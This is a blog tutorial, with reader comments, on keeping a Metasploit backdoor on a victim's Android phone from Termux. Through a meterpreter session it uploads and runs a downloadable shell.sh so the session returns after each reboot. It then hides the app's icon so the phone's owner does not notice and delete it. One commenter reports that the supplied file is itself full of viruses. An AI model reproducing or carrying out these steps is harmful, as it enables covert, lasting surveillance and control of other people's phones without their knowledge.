How to make Metasploit persistent payload in Termux

What is the persistent payload?

If you're using Metasploit and everything is running smoothly, but suddenly the target device restarts or the app is terminated, the session will be disconnected. This means you'll lose access to the target device, and you won't be able to regain access unless the app is launched again by the target (which is unlikely).

How to make Metasploit persistent payload/backdoor in termux

If the user notices an unfamiliar app on their device, they may uninstall it. This post provides guidance on concealing the app's icon to avoid detection. Furthermore, I'll outline steps to establish a persistent connection, allowing continued access to the device, even after it restarts and reconnects to the internet.

Create persistent payload :

In order to do this step, you should already be in the meterpreter session. If you don't have meterpreter session please read this blog on [hacking my second android phone using Termux with Metasploit]


Step 1:
First of all Download the shell.sh file and paste it in your internal storage:
persistent payload metasploit



Step 2:
In the Meterpreter session type this command to access the internal storage of the second phone.
cd /sdcard
after this command, you can type ls command to see all the folders in internal storage



Step 3:
Now use this command to upload the shell.sh file in second phone.
upload /data/data/com.termux/files/home/storage/shared/shell.sh
this command will upload shell.sh file from your internal storage to the target internal storage.



Step 4:
Type shell command to open shell in android.
shell


Step 5:
type below command to run the script in the shell.
sh shell.sh
 Now After 1-2 min(or when the line starts to repeat then) press CTRL+C and then type y to terminate the channel.



Step 6:
Now everything is done, just hide the app icon using below command and the app will be hidden and you will still be able to access the phone.
hide_app_icon




Conclusion: 

u'll maintain access to the device, regardless of how often it's restarted. Each time the device reconnects to the internet, a meterpreter session will be initiated. By implementing this method immediately after installing the payload, the risk of deletion is minimized. For further details on Termux, explore additional posts on this site, as it focuses exclusively on Termux. Remember to stay motivated and keep learning stay inspired and as always stay Ethical 👾.

Post a Comment

19 Comments

  1. This is the most wonderful tutorial ive ever came by

    ReplyDelete
  2. Please I need a private tutoring

    ReplyDelete
  3. It isn't working for Android 10 :-(

    ReplyDelete
  4. If I change the name of the app in apkeditor from 'MainActivity' to 'Updater', then will I have to edit the shell file also???

    ReplyDelete
    Replies
    1. maybe you can edit name but not edit there extension like shell.sh to processfile.sh

      Delete
  5. Bro file jo tmne di hai vo virus se bhari padi kamskam shi file to do

    ReplyDelete